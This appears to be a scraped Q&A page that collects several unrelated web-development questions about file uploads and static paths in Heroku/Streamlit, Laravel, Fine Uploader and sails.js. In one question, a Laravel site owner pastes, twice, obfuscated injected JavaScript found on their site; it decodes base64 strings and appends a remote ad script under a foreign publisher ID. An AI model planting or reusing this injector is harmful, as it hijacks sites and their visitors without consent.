How to create folder in Heroku with streamlit? - heroku

I am trying to create a folder as below in Heroku
def save_uploadedfile(uploadedfile):
with open(os.path.join("tempDir",uploadedfile.name),"wb") as f:
f.write(uploadedfile.getbuffer())
return st.success("Saved File:{} to tempDir".format(uploadedfile.name))
The above is working fine in my PC, however it is not working in Heroku.
And I am not able to save file after uploading in Streamlit.
And I am not able to load file from Heroku, however below code is working in my PC:
finalized_model = (os.getcwd() + "/tempDir/finalized_model.sav")
Grateful, if an expert can give some guidance.

Related

automatic creating files in Laravel website ads virus hack/attack

i have laravel website version 8 my website gettings ads.txt in my public folder and below code my my public/assets/js/page.js folder
i keep deleting these 2 things but cant find main part of attack
function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));
i have laravel website version 8 my website gettings ads.txt in my public folder and below code my my public/assets/js/page.js folder
i keep deleting these 2 things but cant find main part of attack
function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));

How to add sound to Noty notification

I am trying to add a sound to my Noty instance to my Laravel 5.7 app and seem to be running into some issues. The errors I am getting are Uncaught(in promise) DOMException and Get... 404, but I am using the Path intellisense addon in VScode so I am sure it is right. Here is my code:
new Noty({
text:'Example',
type:'info',
timeout:2000
}).on('onShow', function() {
var audio = new Audio('../../../public/sounds/appointed.mp3');
audio.play();
})
.show();
I really appreciate your help
While ../../../public/sounds/appointed.mp3 is correct relative path when you use the editor, it doesn't exist on the server (404 page).
Files that are in the public/ folder should be accessed by using /.
Your mp3 file should be accessed by using /sounds/appointed.mp3 (without public/).
Test it out by trying to load mp3 file http://localhost/sounds/appointed.mp3

Failed Prop Type Error in Fine Uploader

I'm trying to get Fine Uploader React to work but keep running into issues.
I'm getting the following errors:
Here's the URL: http://fineuploader.azurewebsites.net/
Here's what I've done so far:
Downloaded the source on to my computer from https://github.com/FineUploader/react-fine-uploader
I then npm installed react-fine-uploader and fine-uploader as per instructions
I ran webpack to transpile and bundle the code
Added an entry point and index.html
Finally, I simply published the app to a new Azure app/website
Any idea what's causing the issue?
P.S. My goal is to use Fine Uploader to upload files to Azure Blob Storage. At this point, I'm simply trying to get Fine Uploader going. I do realize that I'll have to enter a few pieces of information about my blog storage endpoint, etc. but I don't think this error is related to any of that.
A Gallery (and every higher level component of that library) needs an "uploader" props as explained in the section https://github.com/FineUploader/react-fine-uploader#high-level-components
An uploader is one of the 3 classes avaiable in the fine-uploader-wrappers package https://github.com/FineUploader/fine-uploader-wrappers#wrapper-classes
those are for upload to
Aws s3
Azure
or your enpoint
The uploader class need all the configuration endpoint, credentials, custom configuration, etc... (you can find a comprehensive list here in the api section https://docs.fineuploader.com/branch/master/api/options.html)
An example for s3 direct upload would be something like:
const uploader = new FineUploaderS3({
options: {
request: {
endpoint: "http://fineuploadertest.s3.amazonaws.com",
accessKey: "AKIAIXVR6TANOGNBGANQ"
},
signature: {
endpoint: "/vendor/fineuploader/php-s3-server/endpoint.php"
}
}
})
and use that uploader in a gallery
<Gallery uploader={ uploader } />
There are many usefull option for customization: callbacks, onEventHandler, etc you can find them all in the docs of fineuploader
Edit: if im not mistaken react-transition-group is necessary even if it's not listed anywhere in the docs...

I can not see the image I just uploaded [sails.js]

I have this to upload photos:
module.exports = function (req, image, url, callback) {
var filename = (Math.floor((Math.random() * 100000000000) + 1)) + ".png";
req.file(image).upload({
dirname: '../../assets/images' + url
,
saveAs: function(file, cb) {
cb(null, filename);
}
}, function(error, uploadedFiles) {
return callback(null, "http://" + req.headers.host + "/images" + url + filename)
});
}
And it returns an url like this: http://localhost:1349/images/dependent/photos/30363010266.png
I can see that my photo is uploaded in project folder because I see it physically. But the URL do not work and has appeared not found error.
If I restart server, the URL works fine.
Thanks!
As #Eugene Obrezkov pointed out, your issue is related to where you are uploading your images and the grunt task runner. All the assets are copied from that folder (/assets) to the .tmp, and changes are watched by the grunt task runner, but that doesn't include new image files(If you are to an empty folder in the assets folder, in your case to the image folder). So the solution is quite easy, you must upload directly to the .tmp folder, ideally to .tmp/public/uploads/year/month/, you can choose your path as you see fit. Now there is a caveat with this approach, and it is that there is a grunt task that clears the contents of the .tmp folder on sails lift, so you will get the opposite effect, now to avoid this is quite easy too, you must edit the clean.js task to delete specific folders, to avoid deleting your uploads folder.
Go to to your project folders tasks/config/clean.js, and replace what's in there for this code, or modify it as you need.
module.exports = function(grunt) {
grunt.config.set('clean', {
dev: [
getFolderPath('fonts/**'),
getFolderPath('images/**'),
getFolderPath('images/**'),
getFolderPath('js/**'),
getFolderPath('styles/**'),
getFolderPath('*.*')
],
build: ['www']
});
grunt.loadNpmTasks('grunt-contrib-clean');
};
function getFolderPath(folderName){
return '.tmp/public/' + folderName;
}
Now your uploads will appear immediately to your end-user without restart, and restarts won't delete those uploads. Just make sure the .tmp/public/uploads/ path exist before trying to upload, or use mkdir to create it via code if not found.
There are other solutions, like making sure there is at least a file in the folder you are uploading to when the server starts, or using symlinks, but i think this is a cleaner approach. You can check those options here:
Image not showing immediately after uploading in sails.js
If you take a look into tasks folder, you can find Grunt task that copies all the assets folder to .tmp folder and make .tmp folder as static public folder.
When you are running Sails application, it runs these Grunt tasks, so that if you uploading file direct to assets folder it will not be accessible until you re-run server and Grunt tasks.
Solution? There is no solution. Basically, you are doing it wrong. Best practices is to store images\files\whatever on S3 buckets, Google Storage, another hard drive at least, but not assets itself. Because it's your source files of your project and in there should be located only files needed for project itself, not user's files, etc...
You can achieve without modifing any grunt task. I had the same issue and I have just solved it.
I see you already have an explanation of what's happening in other comments, so I'll go straight to my solution. I uploaded the files to the .tmp folder, and on the callback of the upload, I coppied them to the assets folder using the file system (fs-extra is a great package for that).
So now I can see the images in my UI as soon as it's added (cause I uploaded them to .tmp) and when my server stops, .tmp will be lost, but generated again in the next lift with the files copied to assets.
Hope it helps!
This is how I solved this problem. The answer requires several steps. I am assuming you want to place your recently uploaded images in a folder called users.
Steps:
1. npm install express --save (If you don't have it installed)
Create a Users folder in your apps root directory.
Open the text editor and view the following file config\express.js
Add or replace with the code
`
var express = require('express');
module.exports.http = {
customMiddleware: function (app) {
app.use('/users', express.static(process.cwd() + '/users'));
}
};
`
5. Make certain the newly uploaded images are placed in the Users folder
Finish

Google Fonts and JQuery not working when hosted by Google Drive

I've uploaded them to a public folder. Everything works apart from these two.
Is there some extra "Google Drive Hosting" script I need to put in?
Or should it be working without any extra and I need re-check my code?
Many thanks!
me also faced same problem while uploading my custom Jquery Plugin, bt i can able upload js file to an existing folder which is already using for my previous project , me faced this problem while creating new folder only
but
In my new folder me just deleted that js file and uploaded it again ,its working fr me nw
save file as .js
content of that file
(function ( $ ) {
$.fn.doValidation = function(options) {
//ur code goes here
}( jQuery ));

Resources